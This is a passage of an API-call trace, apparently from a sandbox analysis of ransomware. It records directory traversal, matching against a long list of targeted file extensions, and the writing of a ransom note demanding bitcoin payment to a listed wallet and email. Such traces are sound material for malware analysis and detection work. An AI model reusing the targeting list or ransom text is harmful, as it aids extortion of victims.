(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.p12") returned 0 [0107.521] lstrlenA (lpString="*.p12") returned 5 [0107.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.gpg") returned 0 [0107.521] lstrlenA (lpString="*.gpg") returned 5 [0107.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.vsd") returned 0 [0107.521] lstrlenA (lpString="*.vsd") returned 5 [0107.521] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.odg") returned 0 [0107.521] lstrlenA (lpString="*.odg") returned 5 [0107.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.raw") returned 0 [0107.522] lstrlenA (lpString="*.raw") returned 5 [0107.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.nef") returned 0 [0107.522] lstrlenA (lpString="*.nef") returned 5 [0107.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.svg") returned 0 [0107.522] lstrlenA (lpString="*.svg") returned 5 [0107.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.psd") returned 0 [0107.522] lstrlenA (lpString="*.psd") returned 5 [0107.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.vmx") returned 0 [0107.522] lstrlenA (lpString="*.vmx") returned 5 [0107.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.vmdk") returned 0 [0107.522] lstrlenA (lpString="*.vmdk") returned 6 [0107.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.vdi") returned 0 [0107.522] lstrlenA (lpString="*.vdi") returned 5 [0107.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.lay6") returned 0 [0107.522] lstrlenA (lpString="*.lay6") returned 6 [0107.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.mpeg") returned 0 [0107.522] lstrlenA (lpString="*.mpeg") returned 6 [0107.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.djvu") returned 0 [0107.522] lstrlenA (lpString="*.djvu") returned 6 [0107.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.tiff") returned 0 [0107.522] lstrlenA (lpString="*.tiff") returned 6 [0107.522] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.backup") returned 0 [0107.523] lstrlenA (lpString="*.backup") returned 8 [0107.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.pdf") returned 0 [0107.523] lstrlenA (lpString="*.pdf") returned 5 [0107.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.cert") returned 0 [0107.523] lstrlenA (lpString="*.cert") returned 6 [0107.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.docm") returned 0 [0107.523] lstrlenA (lpString="*.docm") returned 6 [0107.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.xlsm") returned 0 [0107.523] lstrlenA (lpString="*.xlsm") returned 6 [0107.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.dwg") returned 0 [0107.523] lstrlenA (lpString="*.dwg") returned 5 [0107.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.nd") returned 0 [0107.523] lstrlenA (lpString="*.nd") returned 4 [0107.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.tlg") returned 0 [0107.523] lstrlenA (lpString="*.tlg") returned 5 [0107.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.lgb") returned 0 [0107.523] lstrlenA (lpString="*.lgb") returned 5 [0107.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.mov") returned 0 [0107.523] lstrlenA (lpString="*.mov") returned 5 [0107.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.xdw") returned 0 [0107.523] lstrlenA (lpString="*.xdw") returned 5 [0107.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.ods") returned 0 [0107.523] lstrlenA (lpString="*.ods") returned 5 [0107.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.wav") returned 0 [0107.524] lstrlenA (lpString="*.wav") returned 5 [0107.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.mp3") returned 0 [0107.524] lstrlenA (lpString="*.mp3") returned 5 [0107.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.aiff") returned 0 [0107.524] lstrlenA (lpString="*.aiff") returned 6 [0107.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.flac") returned 0 [0107.524] lstrlenA (lpString="*.flac") returned 6 [0107.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.m4a") returned 0 [0107.524] lstrlenA (lpString="*.m4a") returned 5 [0107.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\MCESidebarCtrl.ni.dll", pszSpec="*.csv") returned 0 [0107.524] lstrlenA (lpString="*.csv") returned 5 [0107.524] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30a30fb5, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30a30fb5, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb068de8e, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x26400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MCESidebarCtrl.ni.dll", cAlternateFileName="MCESID~1.DLL")) returned 0 [0107.524] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.524] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61f4e3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61f4e3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x61f4e3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f04b0488328a68d57953149b31a85065", cAlternateFileName="F04B04~1")) returned 0 [0107.524] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.524] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62163700, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62163700, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62163700, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43004d, dwReserved1=0x530045, cFileName="mcGlidHostObj", cAlternateFileName="MCGLID~1")) returned 1 [0107.524] lstrcmpA (lpString1=".", lpString2="mcGlidHostObj") returned -1 [0107.525] lstrcmpA (lpString1="..", lpString2="mcGlidHostObj") returned -1 [0107.525] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.525] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="mcGlidHostObj" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj" [0107.525] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj") returned 60 [0107.525] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62163700, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62163700, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62163700, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.525] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.525] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62163700, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62163700, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62163700, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.525] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.525] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.525] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62163700, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62163700, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62163700, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="18aae97d7e56a28acf9d642ad23ab413", cAlternateFileName="18AAE9~1")) returned 1 [0107.525] lstrcmpA (lpString1=".", lpString2="18aae97d7e56a28acf9d642ad23ab413") returned -1 [0107.526] lstrcmpA (lpString1="..", lpString2="18aae97d7e56a28acf9d642ad23ab413") returned -1 [0107.526] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\*.*") returned="*.*" [0107.526] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\", lpString2="18aae97d7e56a28acf9d642ad23ab413" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413" [0107.526] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413") returned 93 [0107.526] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62163700, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62163700, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62163700, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.526] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.526] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62163700, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62163700, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62163700, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.526] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.526] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.526] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30a30fb5, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30a30fb5, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb11dc723, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0xaa000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="mcGlidHostObj.ni.dll", cAlternateFileName="MCGLID~1.DLL")) returned 1 [0107.526] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.526] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mcGlidHostObj.ni.dll") returned -1 [0107.526] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mcGlidHostObj.ni.dll") returned -1 [0107.526] lstrcmpiA (lpString1="", lpString2="mcGlidHostObj.ni.dll") returned -1 [0107.527] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\*.*") returned="*.*" [0107.527] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\" [0107.527] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\") returned="" [0107.527] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\HOW TO DECRYPT FILES.txt" [0107.527] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mcglidhostobj\\18aae97d7e56a28acf9d642ad23ab413\\how to decrypt files.txt")) returned 0xffffffff [0107.527] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mcglidhostobj\\18aae97d7e56a28acf9d642ad23ab413\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.554] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0107.554] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0107.556] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.556] CloseHandle (hObject=0x90) returned 1 [0107.556] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\", lpString2="mcGlidHostObj.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll" [0107.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.ems") returned 0 [0107.556] lstrlenA (lpString="*.ems") returned 5 [0107.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.db") returned 0 [0107.556] lstrlenA (lpString="*.db") returned 4 [0107.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.dbf") returned 0 [0107.557] lstrlenA (lpString="*.dbf") returned 5 [0107.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.myox") returned 0 [0107.557] lstrlenA (lpString="*.myox") returned 6 [0107.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.myo") returned 0 [0107.557] lstrlenA (lpString="*.myo") returned 5 [0107.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.qbw") returned 0 [0107.557] lstrlenA (lpString="*.qbw") returned 5 [0107.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.qbb") returned 0 [0107.557] lstrlenA (lpString="*.qbb") returned 5 [0107.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.qbm") returned 0 [0107.557] lstrlenA (lpString="*.qbm") returned 5 [0107.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.qbo") returned 0 [0107.557] lstrlenA (lpString="*.qbo") returned 5 [0107.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.qbx") returned 0 [0107.557] lstrlenA (lpString="*.qbx") returned 5 [0107.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.qba") returned 0 [0107.557] lstrlenA (lpString="*.qba") returned 5 [0107.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.qby") returned 0 [0107.557] lstrlenA (lpString="*.qby") returned 5 [0107.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.qbj") returned 0 [0107.557] lstrlenA (lpString="*.qbj") returned 5 [0107.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.ofx") returned 0 [0107.558] lstrlenA (lpString="*.ofx") returned 5 [0107.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.qif") returned 0 [0107.558] lstrlenA (lpString="*.qif") returned 5 [0107.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.mye") returned 0 [0107.558] lstrlenA (lpString="*.mye") returned 5 [0107.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.mbox") returned 0 [0107.558] lstrlenA (lpString="*.mbox") returned 6 [0107.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.eml") returned 0 [0107.558] lstrlenA (lpString="*.eml") returned 5 [0107.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.pst") returned 0 [0107.558] lstrlenA (lpString="*.pst") returned 5 [0107.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.ost") returned 0 [0107.558] lstrlenA (lpString="*.ost") returned 5 [0107.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.idx") returned 0 [0107.558] lstrlenA (lpString="*.idx") returned 5 [0107.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.dbx") returned 0 [0107.558] lstrlenA (lpString="*.dbx") returned 5 [0107.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.sql") returned 0 [0107.558] lstrlenA (lpString="*.sql") returned 5 [0107.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.mdb") returned 0 [0107.558] lstrlenA (lpString="*.mdb") returned 5 [0107.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\mcGlidHostObj.ni.dll", pszSpec="*.fdb") returned 0 